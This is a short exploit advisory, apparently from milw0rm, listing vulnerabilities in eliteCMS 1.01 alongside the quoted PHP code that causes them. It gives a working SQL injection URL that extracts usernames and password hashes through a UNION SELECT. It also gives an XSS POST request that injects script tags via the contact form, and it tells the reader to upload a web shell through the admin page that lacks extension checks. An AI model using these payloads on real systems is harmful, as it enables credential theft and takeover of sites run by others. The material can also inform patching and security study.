elitecms 1.01 (sql/xss) Multiple Vulnerabilities

# eliteCMS 1.01 (SQL/XSS) Multiple Remote Vulns # by xeno_hive # greets to daganarus, dearest of all my friends. # SQL injection (requires magic_quotes = off) ->/includes/functions.php --------------------------------- 89. function get_page_settings() { ... 92. $query = "SELECT * FROM pages WHERE id = '{$_GET['page']}'"; 93. $result = mysql_query($query); 94. confirm_query($result); 95. $page_settings = mysql_fetch_array($result); 96. return $page_settings; } ... 294. echo $page_settings['title']; --------------------------------- Exploit => index.php?page=-1'+union+select+1,concat(user_name,0x3a,h_password),3,4,5,6,7,8,9,10,11+from+users+limit+0,1/* then look at browser's title. # XSS (passive) (if contact form is enabled) ->/includes/contact_form.php --------------------------------- 36. $mailTo = $settings['site_email']; 37. $subject = "Feedback email from your eliteCMS website"; 38. $name = $_POST['name']; 39. $sender_email = $_POST['sender_email']; 40. $message = $_POST['message']; ... 54. $sendmail = @mail($mailTo, $subject, $body, $headers); --------------------------------- So attacker can send mail with http tags. --------------------------------- 61. $successMSG = "<span class=\"successMsg\">Thank you dear <span>$name</span> your message has been send successfully.</span>"; --------------------------------- And he can insert tags into the page. Exploit => POST-packet --------------------------------- POST /index.php?page=3 HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Host: localhost name=<script>alert("Name")</script> &sender_email=someone@evil.com &message=<script>alert("Message")</script> &email=Send Email --------------------------------- # Admin's file upload script without extension checking Upload your shell at /admin/manage_uploads.php. Then use it at /uploads/shell.php # milw0rm.com [2009-06-01]